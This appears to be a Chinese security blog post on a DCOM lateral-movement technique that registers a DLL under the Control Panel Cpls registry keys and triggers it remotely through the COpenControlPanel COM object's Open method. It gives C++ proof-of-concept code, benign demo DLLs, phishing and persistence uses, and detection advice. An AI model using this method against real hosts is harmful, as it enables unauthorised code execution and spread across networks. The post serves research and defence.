前言

上一篇文章介绍了Impacket中dcomexec.py的工作原理,以及在Windows Server 2025中如何绕过Microsoft Defender Antivirus,本文会介绍一种新的和控制面板相关的COM对象,用于内网横向命令执行

这个COM对象之前也被用于社工钓鱼和权限维持,本文会先介绍它在社工钓鱼和权限维持中的应用,然后介绍它如何应用在内网横向命令执行,最后介绍如何检测以及阻止这类攻击

本文使用的测试环境:Windows 10 22H2 19045.6466、Kali 2025.3 x64

控制面板作为攻击面

控制面板允许我们调整计算机设置,如下图,每一个控制面板项的实体后缀为cpl,本质是一个EXE或者DLL,,其中DLL会导出一个名为CPIApplet的函数,本文主要讨论实体为DLL的项
image

通过DIE也能看到CPL文件本质就是DLL
image

可在cmd下通过control.exe执行控制面板项

1
control.exe yourfile.cpl

底层是通过rundll32调用shell32.dll中的函数Control_RunDLL,传入yourfile.cpl作为参数,yourfile.cpl中的CPIApplet将被执行

1
rundll32.exe shell32.dll,Control_RunDLL yourfile.cpl

由于普通用户并不知道cpl也是可执行文件,所以有些APT组织在社工钓鱼中用它作为恶意附件,已被收录到ATT&CK中的:https://attack.mitre.org/techniques/T1218/002/

ATT&CK中提到了,一个dll即使没遵守cpl规范、没导出CPIApplet、后缀也不是cpl,只要在下述注册表位置注册它,也能被执行(通过dll入口函数DllMain)

1
2
3
4
5
6
7
8
Under HKCU:
HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls

Under HKLM For 64-bit DLLs
HKLM\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls

Under HKLM for 32-bit DLLs:
HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Control Panel\Cpls

想让当前用户生效,就用HKCU下的位置,想让这台机器上所有用户生效,就用HKLM下的位置

在Win10中打开上述注册表位置后,会发现HKCU下的Control Panel及子项Cpls并没有,需要你手动创建,HKLM下的Control Panel\Cpls默认就有

我们写一个简单的dll demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <Windows.h>

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL, TEXT("DLL has been load by process!"), TEXT("SimpleDLL"), MB_OK | MB_ICONINFORMATION);
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

extern "C" __declspec(dllexport) void Hello()
{
MessageBox(NULL, TEXT("Hello from export function!"), TEXT("SimpleDLL"), MB_OK | MB_ICONINFORMATION);
}

将上述dll编译后重命名为cpl,注册到下图所示注册表位置,当打开控制面板,代码被执行
image

使用Process Explorer跟踪一下,可以看到cpl文件都将被DLL Surrogate Process(dllhost.exe)载入到内存
image

重点来了,熟悉COM对象的同学可能会注意到,dllhost是COM对象的托管进程,那是不是说shell32.dll中的Control_RunDLL是一个COM客户端,它调用COM服务器执行DllTest.cpl

这里简单介绍一下,COM服务器的执行有三种形式:

  1. 独立的EXE形式,执行时进程就是EXE的进程
  2. DLL形式,执行时被载入到COM客户端进程中
  3. DLL形式,执行时被载入到DLL代理进程(dllhost.exe)中

所以看到dllhost.exe会想到COM对象

控制面板实现横向移动

使用OleViewDotNet查看shell32.dll中和控制面板相关的COM对象时,发现一个名为COpenControlPanel的COM对象,CLSID为{06622D85-6856-4460-8DE1-A81921B41C4B},这个对象暴露了多个接口,其中一个是IID为{D11AD862-66DE-4DF4-BF6C-1F5621996AF1}的IOpenControlPanel,如下图
image

然后想看它实现的方法,发现这些接口并没有绑定TypeLib
image

好在从MSDN文档中发现了定义:https://learn.microsoft.com/en-us/windows/win32/api/shobjidl_core/nn-shobjidl_core-iopencontrolpanel

需要注意,在Windows Server 2025和Windows 11中,移除了这个COM对象的名字,也就是说无法通过OleViewDotNet查看名为COpenControlPanel的COM对象,在显示名字的地方变成了CLSID

文档中提到,这个COM对象提供了3个方法,其中的第三个方法Open用来打开一个控制面板项,那是不是说,不需要手动打开控制面板,只要调用这个函数就能触发上面的demo dll被执行

函数Open定义如下

1
2
3
4
5
HRESULT Open(
[in] LPCWSTR pszName,
[in] LPCWSTR pszPage,
[in] IUnknown *punkSite
);

我们来实现一个COM客户端,尝试调用COpenControlPanel中的Open函数打开控制面板,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#include <windows.h>
#include <shobjidl.h>
#include <iostream>

int main()
{
HRESULT hr;

// 初始化COM运行环境
hr = CoInitialize(NULL);
if (FAILED(hr))
{
std::cerr << "[-] COM初始化失败!HRESULT: 0x" << std::hex << hr << std::endl;
return 1;
}
std::cout << "[+] COM初始化成功" << std::endl;

// 创建COM对象COpenControlPanel
IOpenControlPanel* pOCP = NULL;
hr = CoCreateInstance(
CLSID_OpenControlPanel,
NULL,
CLSCTX_INPROC_SERVER,
IID_IOpenControlPanel,
(void**)&pOCP
);
if (FAILED(hr))
{
std::cerr << "[-] COM对象COpenControlPanel创建失败!HRESULT: 0x" << std::hex << hr << std::endl;
CoUninitialize();
return 1;
}
std::cout << "[+] COM对象COpenControlPanel创建成功" << std::endl;

// 调用方法Open
// https://learn.microsoft.com/en-us/windows/win32/api/shobjidl_core/nn-shobjidl_core-iopencontrolpanel
LPCWSTR panelName = L"";
hr = pOCP->Open(
panelName,
NULL,
NULL
);
if (SUCCEEDED(hr))
{
std::cout << "[+] 成功打开控制面板首页" << std::endl;
}
else
{
std::cerr << "[-] 打开控制面板失败!HRESULT: 0x" << std::hex << hr << std::endl;
}

// 释放COM对象并销毁COM运行环境
pOCP->Release();
std::cout << "[+] COM对象已释放" << std::endl;
CoUninitialize();
std::cout << "[+] COM运行环境已销毁" << std::endl;

return 0;
}

可以看到,在尝试打开控制面板时,触发了之前注册的dll被执行,显示打开控制面板失败是因为我们对panelName传入了空字符串,但不影响注册的dll被执行
image

目前为止,我们捋一捋,cpl文件不需要有导出函数CPIApplet,只要在注册表中注册,COM客户端调用COM服务端COpenControlPanel中的Open时,就能触发DllMain中的代码被执行,那我们能不能远程调用这个COpenControlPanel中的Open?再配合将dll上传到远程主机、以及远程注册表操作,不就实现了一种新型DCOM

现在万事俱备,只欠这个COM对象能否被远程调用,我们查看下它的AppID和相应的权限,可以看到,它有AppID,激活权限和访问权限均为空也就是使用默认值,换句话说,默认情况下管理员组中的成员都可以激活和访问这个COM对象
image

远程调用COM对象时,位于Session 0会话下,弹窗就不会显示了,甚至可能会造成死锁,所以要改下代码,将弹窗改为写文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <Windows.h>

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
// MessageBox(NULL, TEXT("DLL has been load by process!"), TEXT("SimpleDLL"), MB_OK | MB_ICONINFORMATION);
{
LPCWSTR filePath = L"C:\\Users\\Public\\ybdt.txt";
const char* data = "Hello, Ybdt!";
DWORD bytesWritten = 0;
HANDLE hFile = CreateFileW(
filePath,
GENERIC_WRITE,
0,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hFile != INVALID_HANDLE_VALUE) {
WriteFile(hFile, data, strlen(data), &bytesWritten, NULL);
CloseHandle(hFile);
}
}
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

extern "C" __declspec(dllexport) void Hello()
{
MessageBox(NULL, TEXT("Hello from export function!"), TEXT("SimpleDLL"), MB_OK | MB_ICONINFORMATION);
}

最后就是实现一个DCOM客户端,看看能够远程触发,代码位于:https://github.com/ybdt/post-hub/tree/main/07-横向攻击/新型DCOM内网横向之控制面板

在Kali中执行如下命令
image

尽管返回了错误消息,但是文件已经成功创建
image

检测

首先,查看下列注册表位置是否有系统之外的控制面板项

1
2
3
HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls
HKLM\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls
HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Control Panel\Cpls

其次,监控是否有不常见dllhost进程产生,例如调用COM对象COpenControlPanel的dllhost

最后,监控远程注册表的使用,它经常被滥用在各种攻击中

尾语

DCOM是一个大的攻击面,对于很多没有Type Library的COM对象,通过逆向工程可以发现很多宝藏

参考链接

https://sud0ru.ghost.io/yet-another-dcom-object-for-command-execution-part-2/